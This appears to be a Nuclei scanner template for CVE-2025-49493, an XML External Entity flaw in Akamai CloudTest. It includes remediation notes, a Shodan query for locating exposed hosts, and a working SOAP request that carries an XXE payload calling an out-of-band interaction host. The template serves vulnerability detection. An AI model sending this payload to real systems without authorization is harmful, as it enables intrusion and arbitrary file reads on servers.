id: CVE-2025-49493

info:
  name: Akamai CloudTest < 60 2025.06.02 - XML External Entity (XXE)
  author: xbow,3th1c_yuk1
  severity: critical
  description: |
    Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.
  impact: |
    Unauthenticated attackers can exploit XXE injection to read arbitrary files from the server through malicious XML entities in SOAP requests.
  remediation: |
    Upgrade Akamai CloudTest to version 60 2025.06.02 (12988) or later that properly disables external entity processing.
  reference:
    - https://xbow.com/blog/xbow-akamai-cloudtest-xxe/
    - https://techdocs.akamai.com/cloudtest/changelog/june-2-2025-enhancements-and-bug-fixes
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49493
  classification:
    epss-score: 0.03395
    epss-percentile: 0.87267
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2025-49493
    cwe-id: CWE-611
    cpe: cpe:2.3:a:akamai:cloudtest:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Akamai CloudTest"
    vendor: akamai
    product: cloudtest
  tags: cve,cve2025,akamai,cloudtest,xxe,oast,rce,vkev,vuln

http:
  - raw:
      - |
        POST /concerto/services/RepositoryService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE soapenv:Envelope [
          <!ENTITY xxe SYSTEM "http://{{interactsh-url}}">
        ]>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                          xmlns:rep="http://example.com/services/repository">
           <soapenv:Header/>
           <soapenv:Body>
              <rep:getUIBundleObjectXml>
                 <rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
              </rep:getUIBundleObjectXml>
           </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(content_type, "text/xml")'
          - 'contains(body, "XML stream")'
        condition: and
# digest: 490a0046304402201f6b4a342d2db6dcb59af05a74471cb938d00fb1aab63d489894d3b6a19a7545022026f5c62f2c81588403734cc3fd2e8f4e62b5610cfea4c253b385412f42a99b73:922c64590222798bb761d5b6d8e72950